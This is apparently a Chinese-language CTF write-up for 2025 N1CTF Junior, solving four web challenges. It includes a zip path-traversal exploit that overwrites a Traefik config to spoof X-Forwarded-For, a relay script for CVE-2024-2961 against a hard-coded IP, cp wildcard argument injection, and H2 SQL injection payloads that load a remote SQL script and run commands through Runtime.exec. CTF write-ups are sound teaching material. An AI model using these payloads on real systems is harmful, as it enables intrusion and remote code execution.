脖子疼

2025 N1CTF Junior

traefik

存在任意文件解压

image-20250209142407227

这里可以解压到任意目录下,覆盖原来有的内容

这里可以覆盖他的反代配置,然后把flag路由暴露出来

image-20250209142520584

这里限制了flag访问必须要是本地ip,需要伪造

可以设置yaml,中间设置一个中间件,修改所有经过的xff头

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import zipfile

if __name__ == "__main__":
try:
binary = '''
# Dynamic configuration

http:
middlewares:
set-x-forwarded-for:
headers:
customRequestHeaders:
X-Forwarded-For: "127.0.0.1"
customResponseHeaders:
X-Real-IP: "127.0.0.1"

services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"

routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
middlewares:
- set-x-forwarded-for
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
middlewares:
- set-x-forwarded-for
flag:
rule: Path(`/flag`)
entrypoints: [web]
service: proxy
middlewares:
- set-x-forwarded-for


'''
zipFile = zipfile.ZipFile("test4.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test4.zip")
zipFile.writestr("../../../../../../app/.config/dynamic.yml", binary)
zipFile.close()
except IOError as e:
raise e

访问flag即可

image-20250209142717502

Gavatar

1
哈哈 我是铸币,忘记cookie了

image-20250209162854545

这里file_get_contents 接受一个url,然后可以读文件

但是flag无权限,需要/readflag 才可以得到

考虑CVE-2024-2961

本地用flask起一个转接口即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import flask
import requests

app = flask.Flask(__name__)

url1 = "http://39.106.16.204:55567/avatar.php?user=test"
url2 = "http://39.106.16.204:55567/upload.php"

@app.route('/', methods=['POST'])
def hello_world():
print(flask.request.form)
if 'file' not in flask.request.form:
return "No file "
data = flask.request.form['file']
print(data)
files = {'url': data}
cookies = {'PHPSESSID': '26176833c09b30e0184bdffe9a531ca5'}
req1 = requests.post(url2, data=files,cookies=cookies)
print(req1.text)
req2 = requests.get(url1)
return "File contents: "+req2.text

app.run(host='0.0.0.0', port=7999)

image-20250209163039383

得到flag

image-20250209163051370

backup

f12 给了一句话后门 弹shell出来就行

image-20250209201322497

根目录下存在一个backup.sh

image-20250209201503321

第一眼尝试了软连接,但是显然不行

image-20250209201528378

只能修改软连接的

然后就开始了痛苦的思考。。

74c7f0a61104e49dd871dedd51a44c8

偶然发现

1
cp -P * /var/www/html/backup/

能不能控制* 为一个文件名字?

好的还是失败了

然后又想到

能不能-R指向/flag,然后-R 直接chmod flag?

失败了,本地都不行

image-20250209202042711

突然发现,*可以匹配文件名字,如果文件名字里面存在参数就可以添加到cp的参数里面

然后发现了这样一个参数 -H

image-20250209202221403

可以创建一个文件叫-H 然后创建一个软连接指向flag,这样-H 参数会覆盖掉前面的-p 完成修改权限

image-20250209202330392

然后cat z即可

image-20250209202401816

EasyDB

这不好笑

存在sql注入

image-20250210100658566

使用的是h2数据库

image-20250210101629535

参考

从sw历史漏洞学习h2db注入利用 - FreeBuf网络安全行业门户

尝试写文件

1
admin' union select 1,file_write(hextoraw('0061'),'test'),'3'-- 

这里的file被过滤了,没有办法写入

image-20250210102322215

1
欸我真是傻逼,我忘记过滤了,研究了一晚上为什么我写入文件失败,本地能写doceker不行,原来是没看waf

image-20250210105221578

1
SELECT * FROM LINK_SCHEMA('TEST2', '', 'jdbc:h2:./test2', 'sa', 'sa', 'PUBLIC');

可以使用这个加载数据库

发现有一个参数INIT

1
INIT  H2 在数据库初始化时,自动执行指定的 SQL 脚本。 

可以加载远程的sql,相当于可以执行任意sql语句

1
2
CREATE ALIAS SHELL AS 'String exec(String cmd) throws java.io.IOException { return new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); }';
CALL SHELL('touch /tmp/1');

语句如下

1
admin' union select 1,'2','3' from link_schema('TEST2', '', 'jdbc:h2:mem:testdb1;INIT=RUNSCRIPT FROM ''http://vps:port/hello.sql''', 'sa', 'sa', 'PUBLIC')-- 

但是RUNSCRIPT被过滤了,拼接绕过下

1
admin' union select 1,'2','3' from link_schema('TEST2', '', 'jdbc:h2:mem:testdb1;INIT=RUNSC'||'RIPT FROM ''http://vps:port/hello.sql''', 'sa', 'sa', 'PUBLIC')-- 

image-20250210111020988